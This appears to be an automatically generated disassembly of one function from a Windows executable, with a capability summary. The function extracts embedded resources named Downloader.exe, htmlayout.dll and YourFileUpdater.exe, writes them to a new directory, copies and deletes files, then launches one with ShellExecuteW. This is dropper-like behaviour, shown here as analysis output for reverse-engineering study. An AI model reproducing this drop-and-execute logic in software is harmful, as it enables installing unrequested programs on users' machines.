Function at 0x402283
Capabilities:
Check os version
Copy file
Create directory
Create process on windows
Delete file

Disassembly:
push 0x84c
mov eax, 0x417441
call fcn.00416537
mov esi, ecx
mov dword [ebp - 0x844], esi
call fcn.004032a4
lea edi, [esi + 0x1622]
mov ecx, edi
call fcn.00401260
test al, al
je 0x402542
xor ebx, ebx
push ebx
add esi, 0x182a
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x4022d9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402542
mov esi, 0x208
push esi
lea eax, [ebp - 0x83c]
push ebx
push eax
mov dword [ebp - 0x840], str.DOWNLOADER
call fcn.0040c280
add esp, 0xc
push esi
lea eax, [ebp - 0x630]
push ebx
push eax
mov dword [ebp - 0x634], str.HTMLAYOUT
call fcn.0040c280
add esp, 0xc
push esi
lea eax, [ebp - 0x424]
push ebx
push eax
mov dword [ebp - 0x428], str.YOURFILE
call fcn.0040c280
add esp, 0xc
push esi
lea eax, [ebp - 0x218]
push ebx
push eax
mov dword [ebp - 0x21c], str.UPDATER
call fcn.0040c280
add esp, 0xc
push str.Downloader.exe
push edi
mov edi, 0x41ddc8
push edi
mov esi, 0x103
lea eax, [ebp - 0x83c]
push esi
push eax
call fcn.004083fd
mov eax, dword [ebp - 0x844]
add esp, 0x14
push str.htmlayout.dll
add eax, 0x1622
push eax
push edi
lea eax, [ebp - 0x630]
push esi
push eax
call fcn.004083fd
mov eax, dword [ebp - 0x844]
add esp, 0x14
push 0x41ddd4
add eax, 0x1622
push eax
push edi
lea eax, [ebp - 0x424]
push esi
push eax
call fcn.004083fd
mov eax, dword [ebp - 0x844]
add esp, 0x14
push str.YourFileUpdater.exe
add eax, 0x1622
push eax
push edi
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.004083fd
add esp, 0x14
xor edi, edi
lea esi, [ebp - 0x83c]
mov eax, dword [esi - 4]
push str.DATA
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebx
je 0x4023f8
push eax
push esi
call fcn.00401585
pop ecx
pop ecx
jmp 0x4023fa
xor al, al
cmp al, bl
je 0x402542
inc edi
add esi, 0x20c
cmp edi, 4
jb 0x4023d9
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
sete al
mov byte [ebp - 0x858], al
lea eax, [ebp - 0x218]
mov dword [ebp - 0x854], eax
lea eax, [ebp - 0x858]
push eax
call fcn.004051a7
mov edi, dword [ebp - 0x844]
lea esi, [edi + 0x1c3a]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push esi
lea eax, [edi + 0x141a]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x402542
mov dword [ebp - 0x850], ebx
mov dword [ebp - 0x84c], ebx
mov dword [ebp - 0x848], ebx
lea esi, [ebp - 0x850]
mov dword [ebp - 4], ebx
call fcn.004016bb
test eax, eax
je 0x4024a1
lea eax, [ebp - 0x83c]
push eax
mov eax, esi
call fcn.00401711
lea eax, [ebp - 0x424]
push eax
mov eax, esi
call fcn.00401711
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x848]
cmp eax, ebx
je 0x4024bb
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x848], ebx
mov eax, dword [ebp - 0x84c]
cmp eax, ebx
je 0x4024d1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x84c], ebx
mov eax, dword [ebp - 0x850]
cmp eax, ebx
je 0x4024e7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x850], ebx
lea eax, [ebp - 0x424]
push eax
mov ecx, edi
call fcn.004025c2
test al, al
je 0x402542
mov ecx, dword [ebp - 0x844]
push ebx
lea edi, [ebp - 0x424]
call fcn.0040254a
test al, al
je 0x402542
mov ecx, dword [ebp - 0x844]
call fcn.00402697
test al, al
je 0x402542
mov eax, edi
push eax
call fcn.004010f6
pop ecx
test eax, eax
je 0x40253e
push 1
push ebx
push ebx
mov eax, edi
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov al, 1
jmp 0x402544
xor al, al
call fcn.00416581
ret